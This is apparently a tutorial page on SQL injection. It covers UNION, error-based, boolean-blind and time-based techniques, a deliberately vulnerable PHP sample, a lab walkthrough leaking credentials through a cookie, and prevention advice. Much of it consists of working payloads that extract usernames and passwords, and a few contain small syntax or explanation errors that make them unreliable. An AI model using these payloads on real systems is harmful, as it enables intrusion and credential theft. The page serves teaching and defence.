SQL Injection

With no WAF

Low level protection:

In this part I will explain the sqli with no protection applied in the backend, the web app takes the user input and insert it directly into the SQL query like in this sample of code:

<?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "database";

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// Get user input
$user_input = $_GET['username'];

// Vulnerable SQL query
**$sql = "SELECT * FROM users WHERE username = '$user_input'";**

$result = $conn->query($sql);

if ($result->num_rows > 0) {
    // Output data of each row
    while($row = $result->fetch_assoc()) {
        echo "id: " . $row["id"]. " - Name: " . $row["username"]. "<br>";
    }
} else {
    echo "0 results";
}

$conn->close();
?>

If an attacker succeeds in "injecting" DML statements into a SQL database, he can violate the confidentiality (using SELECT statements), integrity (using UPDATE statements), and availability (using DELETE or UPDATE statements) of a system.

UNION-Based SQL Injection (SQLi)

UNION-based SQL injection involves using the UNION operator to combine the results of multiple SELECT queries into a single result set.

For a UNION query to work, two key requirements must be met:

The individual queries must return the same number of columns.
The data types in each column must be compatible between the individual queries.

Detection Steps:

Identify Input Points: Similar to error-based SQLi, look for input fields where user input is used in SQL queries.
Determine Number of Columns: Use the ORDER BY clause to determine the number of columns in the original query. Increment the column index until an error occurs.
Inject UNION Query: Once the number of columns is known, inject a UNION SELECT query with the same number of columns.

Example:

Suppose you have a URL like https://example.com/search.php?query=example. To determine the number of columns, you can use:

<https://example.com/search.php?query=example>' ORDER BY 1 #
<https://example.com/search.php?query=example>' ORDER BY 2 #
<https://example.com/search.php?query=example>' ORDER BY 3 #

Increment the column index until you get an error indicating the column index is out of range.

The second method involves submitting a series of UNION SELECT payloads specifying a different number of null values:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

If the number of nulls does not match the number of columns, the database returns an error, such as:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

NULL is convertible to every common data type, so it maximizes the chance that the payload will succeed when the column count is correct.

On Oracle, every SELECT query must use the FROM keyword and specify a valid table. There is a built-in table on Oracle called dual which can be used for this purpose. So the injected queries on Oracle would need to look like:

' UNION SELECT NULL FROM DUAL--

The payloads described use the double-dash comment sequence -- to comment out the remainder of the original query following the injection point. On MySQL, the double-dash sequence must be followed by a space. Alternatively, the hash character # can be used to identify a comment.

After you determine the number of required columns, you can probe each column to test whether it can hold string data. You can submit a series of UNION SELECT payloads that place a string value into each column in turn. For example, if the query returns four columns, you would submit:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

If the column data type is not compatible with string data, the injected query will cause a database error, such as:

Conversion failed when converting the varchar value 'a' to data type int.

If an error does not occur, and the application's response contains some additional content including the injected string value, then the relevant column is suitable for retrieving string data.

Once you know the number of columns, you can inject a UNION SELECT query:

<https://example.com/search.php?query=example>' UNION SELECT a, b #

If the application returns data from the injected query, it confirms the presence of a UNION-based SQLi vulnerability.

Multiple columns concatenation:

In some cases, the query may only return a single column.

You can retrieve multiple values together within this single column by concatenating the values together. You can include a separator to let you distinguish the combined values. For example, on Oracle you could submit the input:

' UNION SELECT username || '~' || password FROM users--

This uses the double-pipe sequence || which is a string concatenation operator on Oracle. The injected query concatenates together the values of the username and password fields, separated by the ~ character.

The results from the query contain all the usernames and passwords, for example:

...
administrator~s3cure
wiener~peter
carlos~montoya
...

Different databases use different syntax to perform string concatenation

SQL Server

Using + Operator:

' UNION SELECT username + ':' + password FROM users- #

Using CONCAT Function:

' UNION SELECT CONCAT(username, ':', password) FROM users #

MySQL

Using CONCAT Function:

' UNION SELECT CONCAT(username, ':', password) FROM users #

Using CONCAT_WS Function (Concatenate with Separator):

' UNION SELECT CONCAT_WS(':', username, password) FROM users #

PostgreSQL

Using || Operator:

' UNION SELECT username || ':' || password FROM users #

Using CONCAT Function:

' UNION SELECT CONCAT(username, ':', password) FROM users #

Oracle

Using || Operator:

' UNION SELECT username || ':' || password FROM users #

Using CONCAT Function:

' UNION SELECT CONCAT(username, ':', password) FROM users FROM dual #

SQLite

Using || Operator:

' UNION SELECT username || ':' || password FROM users #

Using CONCAT Function:

' UNION SELECT CONCAT(username, ':', password) FROM users #

Example Usage

Suppose you have a vulnerable web application URL like https://example.com/search.php?query=example. You can use these payloads to extract concatenated information:

SQL Server

<https://example.com/search.php?query=example>' UNION SELECT NULL, username + ':' + password FROM users #

MySQL

<https://example.com/search.php?query=example>' UNION SELECT CONCAT(username, ':', password) FROM users #

Lap for this idea

Identify Database Type and Version

MySQL

Database Version:
```
' UNION SELECT NULL, @@version, NULL #
```
Database User:
```
' UNION SELECT NULL, USER(), NULL #
```
Current Database:
```
' UNION SELECT NULL, DATABASE(), NULL #
```

PostgreSQL

Database Version:
```
' UNION SELECT NULL, version(), NULL #
```

Current User:

' UNION SELECT NULL, current_user, NULL #

Current Database:

' UNION SELECT NULL, current_database(), NULL #

Microsoft SQL Server

Database Version:
```
' UNION SELECT NULL, @@version, NULL #
```

Database User:

' UNION SELECT NULL, SYSTEM_USER, NULL #

Current Database:
```
' UNION SELECT NULL, DB_NAME(), NULL #
```

Oracle

Database Version:

' UNION SELECT NULL, banner, NULL FROM v$version WHERE rownum=1 #

Current User:

' UNION SELECT NULL, user, NULL FROM dual #

Current Database:

' UNION SELECT NULL, ora_database_name, NULL FROM dual #

Example Payload Usage

Suppose you have a vulnerable web application URL like https://example.com/search.php?query=example. You can inject the payloads as follows to gather information:

<https://example.com/search.php?query=example>' UNION SELECT NULL, @@version, NULL #

This payload will attempt to retrieve the database version. You can replace @@version with the appropriate function based on the database type.

Note:

In some scenarios SQL Injection might not be that simple, the data which retrieved by the query might be processed in a login function for example: in such a case you need to predict the function which process the data to craft a suitable payload and take advantage of the vulnerability.

Error-based SQL Injection:

Error-based SQL Injection is a technique where the attacker exploits error messages generated by the database to gather information about the structure of the database. These error messages can reveal details such as table names, column names, and even data.

Example 1: Basic Error-Based SQL Injection

Consider a simple login form where the user enters a username and password. The backend SQL query might look something like this:

SELECT * FROM users WHERE username = 'user_input_username' AND password = 'user_input_password';

An attacker could input the following into the username field:

' OR 1=1 --

The resulting query would be:

SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = 'user_input_password';

In this case, -- is a comment in SQL, so everything after it is ignored. The condition 1=1 is always true, so the query returns all rows in the users table, effectively bypassing the login mechanism.

Example 2: Exploiting Error Messages

Suppose the application displays detailed error messages to the user. An attacker could exploit this to extract information about the database.

Consider a query that retrieves user information based on an ID:

SELECT * FROM users WHERE id = user_input_id;

An attacker could input:

1' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables)) --

If the database is vulnerable, it might return an error message like:

Conversion failed when converting the varchar value 'users' to data type int.

From this error message, the attacker learns that the first table in the database is named users.

Example 3: Extracting Data Using Error Messages

An attacker could further exploit error messages to extract data. For example:

1' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users)) --

If the database is vulnerable, it might return an error message like:

Conversion failed when converting the varchar value 'admin' to data type int.

Now the attacker knows that the first username in the users table is admin.

Blind SQL injection

Blind SQL injection occurs when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.

Many techniques such as UNION attacks are not effective with blind SQL injection vulnerabilities. This is because they rely on being able to see the results of the injected query within the application's responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used.

Exploiting blind SQL

Consider an application that uses tracking cookies to gather analytics about usage. Requests to the application include a cookie header like this:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

When a request containing a TrackingId cookie is processed, the application uses a SQL query to determine whether this is a known user:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If you submit a recognized TrackingId, the query returns data and you receive a "Welcome back" message in the response.

This behavior is enough to be able to exploit the blind SQL injection vulnerability. You can retrieve information by triggering different responses conditionally, depending on an injected condition.

Boolean-based blind SQL injection (SQLi)

is a technique where an attacker infers information from a database by sending SQL queries that result in true or false responses, without directly viewing the output. Here’s a detailed summary with examples on how to detect this vulnerability:

Detection Steps:

Identify Input Points: Look for input fields where user input is directly used in SQL queries.
Inject Boolean Conditions: Use conditional statements in the input field to check for true or false responses.

Example:

Suppose you have a URL like https://example.com/search.php?query=example. You can inject a condition to check if the database contains a specific value:

plaintext

https://example.com/search.php?query=example' AND 1=1-- https://example.com/search.php?query=example' AND 1=2--

AND 1=1--: If the application returns the same page or content, it indicates 1=1 is true.
AND 1=2--: If the application returns a different page or error, it indicates 1=2 is false.

Exploitation:

For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. You can determine the password for this user by sending a series of inputs to test the password one character at a time.

To do this, start with the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

This returns the "Welcome back" message, indicating that the injected condition is true, and so the first character of the password is greater than m.

Next, we send the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

This does not return the "Welcome back" message, indicating that the injected condition is false, and so the first character of the password is not greater than t.

Eventually, we send the following input, which returns the "Welcome back" message, thereby confirming that the first character of the password is s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

We can continue this process to systematically determine the full password for the Administrator user.

Note

The SUBSTRING function is called SUBSTR on some types of databases.

Useful lab for it.

Blind SQL injection by conditional errors

To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true:

With the first input, the CASE expression evaluates to 'a', which does not cause any error.
With the second input, it evaluates to 1/0, which causes a divide-by-zero error.

If the error causes a difference in the application's HTTP response, you can use this to determine whether the injected condition is true.

Using this technique, you can retrieve data by testing one character at a time:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Note

There are different ways of triggering conditional errors, and different techniques work best on different database types.

Extracting sensitive data via verbose SQL error messages:

Occasionally, you may be able to induce the application to generate an error message that contains some of the data that is returned by the query. This effectively turns an otherwise blind SQL injection vulnerability into a visible one.

You can use the CAST() function to achieve this. It enables you to convert one data type to another. For example, imagine a query containing the following statement:

CAST((SELECT example_column FROM example_table) AS int)

Often, the data that you're trying to read is a string. Attempting to convert this to an incompatible data type, such as an int, may cause an error similar to the following:

ERROR: invalid input syntax for type integer: "Example data"

This type of query may also be useful if a character limit prevents you from triggering conditional responses.

Example:

In Repeater, append a single quote to the value of your TrackingId cookie and send the request.
TrackingId=ogAZZfxtOKUELbuJ'
In the response, notice the verbose error message. This discloses the full SQL query, including the value of your cookie. It also explains that you have an unclosed string literal. Observe that your injection appears inside a single-quoted string.
In the request, add comment characters to comment out the rest of the query, including the extra single-quote character that's causing the error:
TrackingId=ogAZZfxtOKUELbuJ'--
Send the request. Confirm that you no longer receive an error. This suggests that the query is now syntactically valid.
Adapt the query to include a generic SELECT subquery and cast the returned value to an int data type:
TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)--
Send the request. Observe that you now get a different error saying that an AND condition must be a boolean expression.
Modify the condition accordingly. For example, you can simply add a comparison operator (=) as follows:
TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--
Send the request. Confirm that you no longer receive an error. This suggests that this is a valid query again.
Adapt your generic SELECT statement so that it retrieves usernames from the database:
TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username FROM users) AS int)--
Observe that you receive the initial error message again. Notice that your query now appears to be truncated due to a character limit. As a result, the comment characters you added to fix up the query aren't included.
Delete the original value of the TrackingId cookie to free up some additional characters. Resend the request.
TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--
Notice that you receive a new error message, which appears to be generated by the database. This suggests that the query was run properly, but you're still getting an error because it unexpectedly returned more than one row.
Modify the query to return only one row:
TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
Send the request. Observe that the error message now leaks the first username from the users table:
ERROR: invalid input syntax for type integer: "administrator"
Now that you know that the administrator is the first user in the table, modify the query once again to leak their password:
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

Blind SQL injection by triggering time delays

If the application catches database errors when the SQL query is executed and handles them gracefully, there won't be any difference in the application's response. This means the previous technique for inducing conditional errors will not work.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering time delays depending on whether an injected condition is true or false. As SQL queries are normally processed synchronously by the application, delaying the execution of a SQL query also delays the HTTP response. This allows you to determine the truth of the injected condition based on the time taken to receive the HTTP response.

Time-based blind SQLi, where the response time is used to infer information:

plaintext

https://example.com/search.php?query=example' AND SLEEP(5)-- https://example.com/search.php?query=example' AND IF(1=1,SLEEP(5),0)--

SLEEP(5): If the page takes 5 seconds longer to load, it indicates 1=1 is true1.

The techniques for triggering a time delay are specific to the type of database being used. For example, on Microsoft SQL Server, you can use the following to test a condition and trigger a delay depending on whether the expression is true:

'; IF (1=2) WAITFOR DELAY '0:0:10'-- '; IF (1=1) WAITFOR DELAY '0:0:10'--

The first of these inputs does not trigger a delay, because the condition 1=2 is false.
The second input triggers a delay of 10 seconds, because the condition 1=1 is true.

Using this technique, we can retrieve data by testing one character at a time:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Useful lab for it.

SQL injection in different contexts

In the previous labs, you used the query string to inject your malicious SQL payload. However, you can perform SQL injection attacks using any controllable input that is processed as a SQL query by the application. For example, some websites take input in JSON or XML format and use this to query the database.

These different formats may provide different ways for you to obfuscate attacks that are otherwise blocked due to WAFs and other defense mechanisms. Weak implementations often look for common SQL injection keywords within the request, so you may be able to bypass these filters by encoding or escaping characters in the prohibited keywords. For example, the following XML-based SQL injection uses an XML escape sequence to encode the S character in SELECT:

<stockCheck> <productId>123</productId> <storeId>999 SELECT * FROM information_schema.tables</storeId> </stockCheck>

This will be decoded server-side before being passed to the SQL interpreter.

Summary:

Enter a ( ' ) and notice if the response is giving error or not:

id=example'

if there is no deference in the response then there isn't sqli, if it returned an error massage or a different response from the server then the parameter is vulnerable to sqli.

After that we need to know if it's a classic or blind sqli; so we will insert a simple query like this:

example' OR '1'='1' #

if it returned the rest of the column content and we can see it directly in the response; thin it's a classic sqli and we can deal with it using UNION-based attack.
if it returned a full described error message try Error-based attack.
if you can't see any data retrieved directly in the response try Boolean-based blind SQL injection, if it returned different response or error message then it's vulnerable for blind sqli, so we can use Blind SQL injection by conditional errors or any other method with consideration of the database type.
if the app is catching the error and handle it in the backend then the error-based attacks won't work, so we can try Blind SQL injection by triggering time delays to see if there is any difference in the execution time of the query.

Prevention Tips:

Use Prepared Statements (Parameterized Queries):

<?php
// Database connection
$mysqli = new mysqli("localhost", "username", "password", "database");

// Check connection
if ($mysqli->connect_error) {
    die("Connection failed: " . $mysqli->connect_error);
}

// User input (e.g., from a form)
$username = $_POST['username'];
$password = $_POST['password'];

// Prepare the SQL statement
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ? AND password = ?");

// Bind parameters to the statement
$stmt->bind_param("ss", $username, $password); // "ss" means two string parameters

// Execute the statement
$stmt->execute();

// Get the result
$result = $stmt->get_result();

// Fetch data
if ($result->num_rows > 0) {
    while ($row = $result->fetch_assoc()) {
        echo "User: " . $row['username'] . "<br>";
    }
} else {
    echo "No user found.";
}

// Close the statement and connection
$stmt->close();
$mysqli->close();
?>

Key Points:

Use ? or named placeholders (:placeholder) in the SQL query to represent user input.
Bind user input to the placeholders using bind_param (MySQLi) or bindParam (PDO).
Execute the prepared statement to safely process the query.
Avoid directly embedding user input into SQL queries to prevent SQL injection.

Input Validation: Validate and sanitize all user inputs to ensure they conform to expected formats.
Error Handling: Avoid displaying detailed error messages to the user. Use generic error messages instead.
Least Privilege: Ensure that the database user account used by the application has the minimum privileges necessary.

References:

PreviousAttacks NextPath Traversal

Last updated 1 year ago

hashtagLow level protection:

hashtagUNION-Based SQL Injection (SQLi)

hashtagDetection Steps:

hashtagExample:

hashtagMultiple columns concatenation:

hashtagSQL Server

hashtagMySQL

hashtagPostgreSQL

hashtagOracle

hashtagSQLite

hashtagExample Usage

hashtagSQL Server

hashtagMySQL

hashtagIdentify Database Type and Version

hashtagMySQL

hashtagPostgreSQL

hashtagMicrosoft SQL Server

hashtagOracle

hashtagExample Payload Usage

hashtagNote:

hashtagError-based SQL Injection:

hashtagExample 1: Basic Error-Based SQL Injection

hashtagExample 2: Exploiting Error Messages

hashtagExample 3: Extracting Data Using Error Messages

hashtagBlind SQL injection

hashtagExploiting blind SQL

hashtagBoolean-based blind SQL injection (SQLi)

hashtagDetection Steps:

hashtagExample:

hashtagExploitation:

hashtagNote

hashtagBlind SQL injection by conditional errors

hashtagExtracting sensitive data via verbose SQL error messages:

hashtagExample:

hashtagBlind SQL injection by triggering time delays

hashtagSQL injection in different contexts

hashtagSummary:

hashtagPrevention Tips:

hashtagKey Points:

hashtagReferences:

Low level protection:

UNION-Based SQL Injection (SQLi)

Detection Steps:

Example:

Multiple columns concatenation:

SQL Server

MySQL

PostgreSQL

Oracle

SQLite

Example Usage

SQL Server

MySQL

Identify Database Type and Version

MySQL

PostgreSQL

Microsoft SQL Server

Oracle

Example Payload Usage

Note:

Error-based SQL Injection:

Example 1: Basic Error-Based SQL Injection

Example 2: Exploiting Error Messages

Example 3: Extracting Data Using Error Messages

Blind SQL injection

Exploiting blind SQL

Boolean-based blind SQL injection (SQLi)

Detection Steps:

Example:

Exploitation:

Note

Blind SQL injection by conditional errors

Extracting sensitive data via verbose SQL error messages:

Example:

Blind SQL injection by triggering time delays

SQL injection in different contexts

Summary:

Prevention Tips:

Key Points:

References: